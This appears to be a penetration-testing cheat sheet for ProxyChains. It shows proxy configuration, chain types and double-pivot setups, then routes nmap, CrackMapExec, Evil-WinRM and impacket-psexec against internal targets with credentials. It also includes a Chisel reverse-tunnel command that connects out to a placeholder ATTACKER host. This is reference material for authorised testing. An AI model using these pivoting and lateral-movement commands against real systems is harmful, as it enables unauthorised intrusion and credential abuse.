Install
Configuration
SOCKS5 (Most Common)
[ProxyList]
socks5 127.0.0.1 1080
SOCKS4
[ProxyList]
socks4 127.0.0.1 1080
HTTP Proxy
[ProxyList]
http 127.0.0.1 8080
Chain Types
strict_chain
All proxies used in order. Fails if any proxy is down.
dynamic_chain
Skips dead proxies, uses the rest in order.
random_chain
Random proxy order each connection.
random_chain
chain_len = 2
Double Pivot Chain
[ProxyList]
socks5 127.0.0.1 1080 # First pivot
socks5 127.0.0.1 1081 # Second pivot
Use dynamic_chain to handle if one goes down.
Nmap
proxychains nmap -sT -Pn -p 80,445 INTERNAL_TARGET
Only TCP connect scan (-sT) works through ProxyChains. SYN scan (-sS) and UDP do not work.
CrackMapExec
proxychains crackmapexec smb INTERNAL_TARGET -u user -p pass
Evil-WinRM
proxychains evil-winrm -i INTERNAL_TARGET -u user -p pass
curl
proxychains curl http://INTERNAL_TARGET
SSH
proxychains ssh user@INTERNAL_TARGET
Impacket
proxychains impacket-psexec user:pass@INTERNAL_TARGET
proxychains impacket-smbclient user:pass@INTERNAL_TARGET
Firefox
Quiet Mode
Suppress ProxyChains output:
proxychains -q nmap -sT -Pn INTERNAL_TARGET
Common Setup Patterns
With Chisel
# Attacker: chisel server -p 8000 --reverse
# Target: chisel client ATTACKER:8000 R:socks
# proxychains4.conf: socks5 127.0.0.1 1080
With SSH
# ssh -D 1080 user@pivot
# proxychains4.conf: socks5 127.0.0.1 1080
With Ligolo
# Ligolo creates tun interface — no ProxyChains needed
# Use ProxyChains only if SOCKS proxy is preferred
Troubleshooting
| Issue | Fix |
|---|
| Timeout | Increase tcp_connect_time_out in config |
| DNS leak | Enable proxy_dns in config |
| Tool hangs | Ensure tool uses TCP, not raw sockets |
| No output | Check proxy is actually running |
Quick Reference
| Task | Command |
|---|
| Basic use | proxychains COMMAND |
| Quiet | proxychains -q COMMAND |
| Config | /etc/proxychains4.conf |
| Nmap | proxychains nmap -sT -Pn TARGET |
| Double pivot | Chain two SOCKS entries in config |